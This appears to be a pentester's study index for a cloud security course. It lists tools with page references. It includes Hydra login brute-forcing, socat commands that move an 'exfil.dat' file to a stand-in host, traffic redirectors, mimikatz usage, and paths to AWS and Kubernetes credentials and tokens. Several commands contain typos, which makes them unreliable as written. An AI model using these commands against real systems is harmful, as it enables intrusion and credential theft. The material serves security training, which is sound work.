Tool	Information	Page
domainhunter	domainhunter.py -r 1000. (check for expired domains) domainhunter.py -s evilcorp.com (check for common content filter databases) domainhunter.py -k dog -c -r 25 (check for reputation of a keyword dog)	
AutoSSH	Autossh is a tool to monitor and restart SSH connections if and when they drop. Once installed, the tool will monitor an SSH tunnel using either method. In both methods, the server and the client send packages to each other in a loop to see if the connection still exists.	
aws credentials	/home/user/.aws/credentials	
AWS Keys Prefix		B2.14
az	command line tool for azure az vm list -o table az ad sp create-for-rbac --name sec588-class --create-cert az login --service-principal -u http://sec588-clas/ -p ~/cert.pem --tenant xxx-xxx-xx-xxxxx	B2.50
Certbot	Certbot is a fully-featured, extensible client for the Let's Encrypt CA (or any other CA that speaks the ACME protocol) that can automate the tasks of obtaining certificates and configuring webservers to use them. This client runs on Unix-based operating systems.	
CeWL	This is a Custom Wordlist generate tool. CeWL (Custom Word List generator) is a ruby app which spiders a given URL, up to a specified depth, and returns a list of words which can then be used for password crackers such as John the Ripper. Optionally, CeWL can follow external links and generate email list.	
commonspeak2		
etcd	etcd is a strongly consistent, distributed key-value store that provides a reliable way to store data that needs to be accessed by a distributed system or cluster of machines	
gitleaks	Gitleaks is a fast, light-weight, portable, and open-source secret scanner for git repositories, files, and directories	
hop.php	PHP file that ships default with metasploit provides C2 obfuscation by establishing communication between Attacker and Victim machines	
hydra	Hydra is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add. This tool makes it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely.	
Hydra	./hydra -L /tmp/usernames -P pwd.txt attac.site http-post-form 'url?u=^u^&p=^p^&Login=Login:F=Login Failed:H=Host:	B5.88
iptables/nftables	This can be used as redirection tool on linux sudo sysctl net.ipv4.ip_forward=1 (temporary) echo "net.ipv4.ip_forward =1" >> /etc/systctl.conf (Permanent) iptables -t nat -A PREROUTING -p tcp -dport 1234 -j DNAT --to-destination 1.2.3.4:8080	B3.36

jmespath	Specification for handling JSON objects az vm list --query "[?storageprofile.osdisk.osType=='Linux'].{Name:name,admin:osProfile.adminusername}" --output table	
kube-proxy	kube-proxy is a network proxy that runs on each node in your cluster, implementing part of the Kubernetes Service concept	
kubeadm	command used by administrator to store certificate and cluster information	
kubeadm default Config location	$HOME/.kube/config /home/<user>/.kube/config:/home/<user>/.kube/config2/config	
KUBECONFIG	The KUBECONFIG environment variable is a list of paths to configuration files. The list is colon-delimited for Linux and Mac, and semicolon-delimited for Windows	
kubectl get secret 'mysecret' -o yaml	It will display decrypted secret 'mysecret' in YAML format	
Kubelet certificates and tokens location	/var/run/secrets/kubernetes.io/<user or role> / {token, namespace, ca.crt}	
Kubernets Login Construct	In order to construct a valid we need the following : 1)Token contains the Login key 2)Namespace contains the container namespace 3)Ca.crt contains the CA certificate for validating the CA chain which is in Kubernetes master	
massscan	masscan <ip/range> port	
mimikatz	Format is module::command arguments. mimikatz# crypto::certificates /systemrestore:local_machine	
Peirates (Kubernetes Penetration tool)	Peirates is similar to kubeadm tool but light weight tool, able to inject itslef into another pod for later movement and avoids nuances of Kubernetes Peirates, a Kubernetes penetration tool, enables an attacker to escalate privilege and pivot through a Kubernetes cluster. It automates known techniques to steal and collect service account tokens, secrets, obtain further code execution, and gain control of the cluster	
proxycannon-ng	A tool to create private botnet using multiple cloud environments for pentesters and red teamers.	
PW-Inspector	PW-Inspector reads passwords in and prints those which meet the requirements. The return code is the number of valid passwords found, 0 if none was found.	B5.89
shimt	tool to exploit SAML with exposed ADFS	

socat	socat - "Type Keyword":"Address Specification":"Address Options" Listen on TCP and redirect traffic to 1.2.3.4 socat -d -d tcp4-listen:8080,reuseaddr,fork TCP4:1.2.3.4:80 Redirect SSL traffic to standard out socat opessl-listen:8443,reuseaddr,cert=cert.pem,verify=0,for stdio Serve a file with socat: socat -u FILE:exfil.dat TCP-LISTEN:1234,reuseaddr Receive a file : socat -u TCP:1.2.3.4:1234 OPEN:exfil.dat,create,turn	B3.33
sqlmap	?	
sshgit	shhgit helps secure forward-thinking development, operations, and security teams by finding secrets across their code before it leads to a security breach	
windows portproxy	Windows Redirection Tool: (svchost.exe netsh interface portproxy add v4tov4 listenport=1234 connectport=8080 connectaddress=1.2.3.4 netsh interface portproxy show all	B3.37